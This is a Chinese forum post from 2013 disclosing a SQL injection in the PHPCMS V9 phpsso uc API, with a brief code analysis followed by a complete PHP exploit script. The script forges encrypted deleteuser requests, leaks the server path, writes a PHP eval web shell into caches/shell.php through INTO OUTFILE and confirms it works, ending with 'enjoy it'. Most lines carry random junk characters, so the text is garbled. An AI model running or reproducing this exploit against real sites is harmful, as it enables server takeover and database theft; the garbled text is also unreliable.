找回密码
 立即注册
查看: 2670|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
  |( z) T% R) K/ [5 a2 s: o% r3 P3 y& Z7 A
- b& y& k& l% N7 v7 E. H9 b所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。+ g) w% [3 R; x5 W4 [# \5 }
5 S/ h- B( M' e& l' f, W
漏洞分析:- N& g$ z2 d$ p2 B- {9 {
1.未启用ucenter服务的情况下uc_key为空
, A3 c1 I) A0 Idefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
0 N( P+ H  f7 p2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
8 ~) N3 B) `; g/ ^9 G! d    public function deleteuser($get,$post) {/ `- J9 R' n" ^1 u6 \
        pc_base::load_app_func('global', 'admin');2 v4 U* x7 [9 a; X
        pc_base::load_app_class('messagequeue', 'admin' , 0);# M3 Y; `; H8 k, I8 J( R# C- m
        $ids = new_stripslashes($get['ids']);
# [; f6 _" O0 b. l' [        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
( l- f' l& C% iSQL语句为
  W1 }  [' L& v" H$ PSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
3 x# ~+ x% }# L3 O( S: h5 n$ b  P) m+ l" [6 F  g" Y
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell/ g4 `8 G. `+ ^" a! q' t
<?php
1 _. K# }, u, Z  Jprint_r('5 v7 B# {) A8 c: g
---------------------------------------------------------------------------
& @+ b; u& T$ l, P  B& ^3 ?PHPcms (v9 or Old Version) uc api sql injection 0day' R  c* ~7 K0 v. E4 s
by rayh4c#80sec.com* p$ B% D" I; w8 `5 f7 x
---------------------------------------------------------------------------
( O$ P$ X3 @4 }');) q+ V! x" w" k6 l8 G0 C& W
$ H, n: R! g8 C& w
if ($argc<3) {
. J2 S* e* P' ~+ b& T& S% s$ c7 p( [% d    print_r('2 s4 G$ {  T  q/ ?) X( \4 Y* R
---------------------------------------------------------------------------( q* [; v; C& e2 j* r( `  d" v
Usage: php '.$argv[0].' host path OPTIONS
7 X6 D+ r0 Z- f6 o4 Zhost:      target server (ip/hostname)
8 |  l! A$ o3 _' e8 B/ \path:      path to phpcms+ i1 d1 s* S  C( M' a0 O4 s
Options:- g3 O  J  ?7 k# r
-p[port]:    specify a port other than 80
$ X% A9 }* u# R2 ] -P[ip:port]: specify a proxy
, K0 P8 I: o& Y; VExample:% P% n# e" P  S+ Z7 \" U3 N; i
php '.$argv[0].' localhost /. u9 O9 ?; g1 Z7 }# Z* O
php '.$argv[0].' localhost /phpcms/ -p81
/ J% z0 ^) L( tphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
, q# j  _. w, w7 o" g/ M) x9 S4 z- m---------------------------------------------------------------------------  s6 Y% D" m' Q7 N* E5 l
');
9 h4 G! \  r1 p' n' f    die;- X; ~9 s! Y' e2 S4 L
}1 h6 }! f% E9 D& J; U9 n' ^

& ?7 ~1 Z' j9 r* M* p) O: V8 Nerror_reporting(7);
: y$ Q4 ~$ ^" ~# |2 U3 w1 {8 ^4 gini_set("max_execution_time",0);& l  g! H' j& H4 t
ini_set("default_socket_timeout",5);
, |5 u8 M2 j8 s* P# e4 y
% h' I8 G5 o, Bfunction quick_dump($string)
) U( J1 I+ p( \) _; H9 Q{
+ f+ ~# x$ m- M9 F: V, i0 J, G$ W  $result='';$exa='';$cont=0;. p; L) i1 M- z5 e. F' Z
  for ($i=0; $i<=strlen($string)-1; $i++)3 I! \& |$ D  m- o
  {
% a3 W% K" F; b- ?' Q1 o' W! M   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )): D% q$ I) `1 P& c, `
   {$result.="  .";}
* @5 y  n2 P$ h# N   else/ o( _. D+ K8 D8 E) \
   {$result.="  ".$string[$i];}4 q6 \# k' f6 ^% I. y* a
   if (strlen(dechex(ord($string[$i])))==2)
/ s1 u! Y- n  e   {$exa.=" ".dechex(ord($string[$i]));}
( v- B/ a( N5 _/ ?   else& X" Q  d' o' o) ?4 G6 D7 ?' L
   {$exa.=" 0".dechex(ord($string[$i]));}; x: Q4 F' D' L3 f+ l7 {
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}0 T! K, q2 F$ V7 x& P- w3 t
  }
8 L% r3 l' Q; X- |0 p; n return $exa."\r\n".$result;
4 l! J5 w/ @2 U% c. Z5 y8 J}
; n! e* E7 z- g5 j2 d5 _$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
* f; ^" h- d9 P! s) s3 m" h$ ^) `( R6 P2 Z( Y' U
function send($packet)
3 |& K- A' e1 w& W2 n' _{
" s- M; e, f, G; {0 v# M5 J: f  global $proxy, $host, $port, $html, $proxy_regex;+ B+ `/ U" b( N+ |! u/ R
  if ($proxy=='') {
) o' J- k1 M- |1 e  }! B    $ock=fsockopen(gethostbyname($host),$port);
. f) ?9 l/ Y( }+ o: ~    if (!$ock) {/ F+ S: x. D; n% Q: t+ z7 x. G
      echo 'No response from '.$host.':'.$port; die;
1 w7 b' a/ I. u0 P, O    }
6 G0 _  z, k( S0 d  }
9 o. K3 _% H- b: J: f( O/ I0 O  else {
1 [8 {; t) i4 I, \, _        $c = preg_match($proxy_regex,$proxy);7 `: P+ o0 }1 _" l
    if (!$c) {
( v0 O) C& u7 r% n; N, {0 H      echo 'Not a valid proxy...';die;3 |) ~& I! |& L. @+ `
    }( \" h  z# l) C
    $parts=explode(':',$proxy);% o  _6 w' Y$ j
    $parts[1]=(int)$parts[1];/ q1 C' {1 _* \: B  _: C
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";+ I: `, `; p) b! a
    $ock=fsockopen($parts[0],$parts[1]);& e% d" ^( K1 W( @$ k! A' s- X
    if (!$ock) {
) T- i6 U' o) B      echo 'No response from proxy...';die;0 ]0 \- l. [" o" D
        }
2 ~1 X" K, ]0 }( L+ Z  }
3 p! ~. \6 \% B  h# p8 w  fputs($ock,$packet);' j% ?; h. ^" @# [( p" z
  if ($proxy=='') {
6 c* m- {6 J! V! X    $html='';: U' b/ u: H* m& _, D
    while (!feof($ock)) {
  l3 r9 i) a2 X- z      $html.=fgets($ock);% C. g3 r: F0 K3 `; H
    }; B, q. y+ l3 L
  }
+ ?- k0 I( E) F) m5 t8 P  else {& u6 k( @6 ?" X# T3 F
    $html='';
  [9 T8 v8 H: ]. ?% g0 O    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {% m$ W9 S6 T3 s
      $html.=fread($ock,1);
  A/ j* S5 K5 s' U* b7 r1 P    }
8 ?: J8 q% k" b5 H$ v6 ]+ @  }
( U/ Z% V; u. }  fclose($ock);
! b' o) e3 e8 x4 B}1 I3 W, k" p" F& {0 ?5 V
' Q" A( F* a+ z. q
$host=$argv[1];6 n% y/ S% T. L/ V8 G0 g' v, @
$path=$argv[2];
: X8 U1 a- |+ l$port=80;! }0 m; G9 b5 e1 m
$proxy="";
6 m+ X2 }0 r- v- q! I" Kfor ($i=3; $i<$argc; $i++){! p7 y% B: m" B
$temp=$argv[$i][0].$argv[$i][1];+ O8 \6 s, j* r7 @1 S
if ($temp=="-p")% c8 U% M, A1 Z7 U
{- x5 I, U2 R! E4 H9 J1 C0 v9 Q
  $port=(int)str_replace("-p","",$argv[$i]);
& X( W$ f  t/ y* N}
0 r" K6 s% B3 p; F( |if ($temp=="-P")# F: X* n5 I7 @" x
{
$ `; \4 Y+ _% ~' j  $proxy=str_replace("-P","",$argv[$i]);& V" Q1 b, z& U
}7 S; B) A' o: b4 y/ w! m+ M3 r
}
& C2 s0 ?5 Q2 R2 }8 s+ f8 Q5 H" [  T8 f, [
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}: F# H( ~4 ~; X
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
" Y  q) G  g9 V" G! q
) q8 q! r) g. |function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
/ v; G6 ]1 T$ W) Z# [; r
. a; E5 H  Y. Q/ S3 ~    $ckey_length = 4;
% k. [0 g$ o. S# x: _3 a. n
% F/ b" O& O# G' W( _) r& g4 L    $key = md5($key ? $key : '');$ O' }5 U( d: ?' p# Z
    $keya = md5(substr($key, 0, 16));
, q: [9 `; }1 _, Y; L7 ^0 ?% @    $keyb = md5(substr($key, 16, 16));
. @! e9 f. A; q. }    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';) \. h4 P* W" q; f5 n3 w& h
. h* O( Z+ N: R( ~
    $cryptkey = $keya.md5($keya.$keyc);
* M2 Q, F; ^; V+ E- E/ ~1 @5 |    $key_length = strlen($cryptkey);
8 ?* z0 ^' d, x$ Z# _. s  c) r$ T' i$ {0 {
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
# Z: L. X( s: X% z    $string_length = strlen($string);
* {7 U7 k$ {& r4 h: i  i- J- v5 K5 M6 d
    $result = '';
+ A; h% s/ h, r& o* r    $box = range(0, 255);" K  b; n( T- s0 R6 C3 K
; D1 a$ T8 L" R/ a
    $rndkey = array();
* y/ q+ i% N9 a) C" `8 O    for($i = 0; $i <= 255; $i++) {
' f' U3 B5 v+ g  l& u8 k        $rndkey[$i] = ord($cryptkey[$i % $key_length]);5 t: O( N. V  Z) u3 y
    }* o8 [& [8 k: g7 z" W, U) p) m

0 ^2 r6 |+ D& T+ N: I    for($j = $i = 0; $i < 256; $i++) {' H5 s: f0 \$ w
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
1 J* {" ~* X' Q! `. n+ `/ |        $tmp = $box[$i];; V/ }+ \5 ]% B  g$ t3 b; @5 U6 R% Z
        $box[$i] = $box[$j];
$ A8 Y7 [: G8 V+ v* l( d        $box[$j] = $tmp;/ b' v, ?  X. ?2 f; }& @+ Z; T8 ~
    }/ t7 g/ N$ t9 p. u' X9 F9 u
! g9 l4 T' G- w- E
    for($a = $j = $i = 0; $i < $string_length; $i++) {# H% U. W9 d# X3 _, ^/ T* |) W0 Y$ T
        $a = ($a + 1) % 256;
3 F" o/ u0 y" {/ P        $j = ($j + $box[$a]) % 256;% t8 [" Z& j6 k1 I
        $tmp = $box[$a];
. q7 e) d3 q; u2 m. d* V  }% D        $box[$a] = $box[$j];
4 \2 ^3 `* \" G( {- f- t$ {" W        $box[$j] = $tmp;
: }& m7 F6 Y& ?        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
- v+ u+ ^, m( C' G$ T& N    }) P& j$ ~: p- R& w" p; B- q) O7 |
% w2 h& D$ E/ i. S4 U! O7 q  ~
    if($operation == 'DECODE') {! H. l6 I$ v3 c  V- k/ u
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {' F* s1 q, m7 P  i" r
            return substr($result, 26);9 f( I0 D' e8 `5 x- X
        } else {; ?0 v* ^  L3 q8 ^5 s% I  R" y  _
            return '';1 Z" W8 ^5 I# f1 S3 u& p
        }
, E) H' k5 p9 @    } else {2 q0 C$ R8 M4 t% L* x: h  {3 C, z  S( d
        return $keyc.str_replace('=', '', base64_encode($result));8 U. Z# A4 U! }  F
    }# D) J: `2 g5 J& d( c& I' L
- O7 C* y+ @( F+ x  ^$ \
}
0 F- T4 Y+ b/ D5 h! ?  {
& @; i" ~  W% Y' A1 f$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
. F* |- m2 S9 o- P4 ?( H8 \$SQL = urlencode(authcode($SQL, "ENCODE", ""));
, q7 S% @/ ?! y* n! Secho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";/ Z) X3 m0 X- b2 F  J( a
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";+ M- |) I0 _2 K, `. r
$packet.="User-Agent: Mozilla/5.0\r\n";
3 I; G0 r8 t8 f: s; Z6 M% w$packet.="Host: ".$host."\r\n";
: @4 {( A, ~4 ]$ O, c& i% N$packet.="Connection: Close\r\n\r\n";2 |6 O3 n' U! b% ?# [$ d
send($packet);; L0 ?- P+ K. p1 K0 S
if(strpos($html,"MySQL Errno") > 0){" T1 f6 S" @7 {/ j) K$ I6 y0 x
echo "[2] 发现存在SQL注入漏洞"."\n";
/ B# q( {. S, Zecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";* T& l3 L$ o; g5 B
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";+ ^2 O/ Z8 @7 Z3 L
$packet.="User-Agent: Mozilla/5.0\r\n";
5 E6 R- ]% p/ b( b$packet.="Host: ".$host."\r\n";4 e/ r2 N# S% m2 l' V; v7 i
$packet.="Connection: Close\r\n\r\n";8 c0 j! @2 g  `+ G1 G
send($packet);$ t2 P# _8 @% c3 T: A% A
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);' @) W3 T6 K- z  N: L0 o+ k: z
//print_r($matches);
- B) V$ u, P3 M# {3 C* ?: mif(!empty($matches)){
) b' |. @1 w9 C1 ]' ^' G$ Decho "[4] 得到web路径 " . $matches[0]."\n";
4 v, K5 {2 B/ Z" B4 N8 secho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
, p& p$ m9 Y0 I+ x& w. u, n8 T/ c$SQL = "time=999999999999999999999999&ids=1)";
5 U! R2 }, H. o0 s$ m5 `$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
( ^! A4 E) B0 t. ~0 @$SQL.="&action=deleteuser";2 a1 K% E: j8 c) ]# n% ~! A
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
3 q/ N) d. Z9 O2 g- }* i& techo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
  D  q+ v/ k5 C+ W! L$ }- s0 E$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ `6 @4 D, _" P& `$packet.="User-Agent: Mozilla/5.0\r\n";, n% P. ~- D: W/ z# R
$packet.="Host: ".$host."\r\n";
3 D! t0 c/ a' c  L- l$packet.="Connection: Close\r\n\r\n";
! Y0 A* _7 t- N! jsend($packet);# q( N  A0 i! o3 A; E% b
if(strpos($html,"Access denied") > 0){
2 s: t5 \$ u1 ~/ g7 D+ secho "[-] MYSQL权限过低 禁止写入文件 ";
& B. D' O! ]+ m' udie;
+ i+ d1 a+ h# a7 Y2 [! M* ^}
0 y* O+ I; y0 G: k& L( k0 N$ Aecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
9 J6 a4 i/ R. b! Y4 B# ~$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% z) e$ Q" L* K& t# C+ B
$packet.="User-Agent: Mozilla/5.0\r\n";0 Q8 G' y; T+ m' Y. @) p9 S
$packet.="Host: ".$host."\r\n";
# Q5 W4 L+ ?  u. j+ n& W. k$packet.="Connection: Close\r\n\r\n";8 _& x7 X2 Q9 K3 N
send($packet);8 |" L, t9 J1 O5 [, R9 W& p
if(strpos($html,"<title>phpinfo()</title>") > 0){
6 e1 Z8 g6 w" P" J" I2 oecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";; ?$ E' a2 z$ A( Y' }/ J# d
}7 t7 V* v% ~% P* {8 G4 N% B6 }
}else{
' w+ B6 G/ c: G& H& Recho "[-]未取到web路径 ";( M  T: c1 n' f
}! J8 [$ T4 D; Q4 _" |7 e8 W
}else{6 c3 F1 Y' f4 I' q9 _: f4 o$ _4 Z8 S
echo "[*]不存在SQL注入漏洞"."\n";
0 k  I1 i( z, H, H}
# ]7 H9 z* L+ o% j! z9 H, s2 H' y. D5 r' z; Y
?>$ i' I4 ?) |5 ^* m- ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表